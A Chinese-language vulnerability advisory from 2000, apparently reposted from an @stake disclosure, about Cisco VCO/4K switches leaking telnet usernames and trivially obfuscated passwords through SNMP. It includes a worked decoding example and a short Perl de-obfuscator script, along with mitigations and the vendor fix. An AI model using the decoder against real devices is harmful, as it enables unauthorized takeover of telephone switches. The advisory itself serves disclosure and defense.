Cisco VCO/4000 SNMP 用户名及口令泄漏问题
发布日期:2000-10-29
更新日期:2000-10-29
受影响系统:
Cisco (Formerly Summa Four) VCO/4K v5.1.3以及更低版本
不受影响系统:
Cisco VCO/4K 5.1.4
描述:
Cisco 公司的Virtual Central Office 4000 (VCO/4K)是一个可编程的交换机,
可以提供多种电话功能如:语音服务,无线或者有线网络之间的切换等等。它
可以通过一些TCP/IP接口管理,包括telnet和SNMP.在SNMP接口中存在一个漏洞
导致攻击者可以获取telnet接口的用户名以及密文口令。由于密文口令很容易
被反向解密,因此攻击者可以获取对VCO/4K的完全控制权。
VCO/4K的SNMP MIB中包含一些可以列出用户名和口令的条目:
[ ... ]
enterprises.886.1.1.1.1.2.1 = "someuser" -->用户名
enterprises.886.1.1.1.1.3.1 = 0
enterprises.886.1.1.1.1.4.1 = ".At4Cqq" -->密文口令
enterprises.886.1.1.1.1.5.1 = 0
[ ... ]
这里的加密机制是相当简单的, 即每个密文字符由164减去明文字符得到,可
用如下公式表达:
ROT164(X) = 164 - X
上面例子中的密文解密过程:
ROT164(".") = 164 - 046 = 118 => "v"
ROT164("A") = 164 - 065 = 099 => "c"
ROT164("t") = 164 - 116 = 048 => "0"
ROT164("4") = 164 - 052 = 112 => "p"
ROT164("C") = 164 - 067 = 097 => "a"
ROT164("q") = 164 - 113 = 051 => "3"
ROT164("q") = 164 - 113 = 051 => "3"
如果攻击者知道了VCO/4K设备的SNMP只读通信串,就可以获取用户名以及密文
口令列表,并很容易的获取明文口令,从而控制该设备。
<*来源:David Goldsmith <
daveg@atstake.com>
Brian Carrier <
bcarrier@atstake.com>
Rex Warren <
rex@atstake.com>
www.atstake.com/research/advisories/2000/A102600-1.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Rex Warren写了一个简单的perl脚本来进行解密:
<--- cut here --->
#!/usr/bin/perl
printf ("Cisco VCO/4K Password [De]Obfuscator\n");
printf ("\t\@stake, Inc.\n");
printf ("\tRex Warren, Brian Carrier, David Goldsmith\n");
printf ("Enter Password: ");
$pw = <STDIN>;
chop $pw;
printf("Result: ");
for ($pos = 0; $pos < length($pw); $pos++){
printf("%s", chr(164 - ord(substr($pw, $pos, 1))));
}
printf("\n");
<--- cut here --->
建议:
临时解决方案:
NSFOCUS建议您如果不需要CISCO VCO/4K设备提供SNMP管理功能,就禁止此服
务。如果必须要求使用此服务,请设置通信串为一个比较难猜测的字符串,
并限制对其的访问。
厂商补丁:
Cisco VCO/4K 5.1.4中已经从SNMP MIB中删除了用户名和口令项。
将于12月初发布的Cisco VCO/4K 5.2中将采用MD5加密方法替代当前的简单加
密机制。
浏览次数:6103
严重程度:0(网友投票)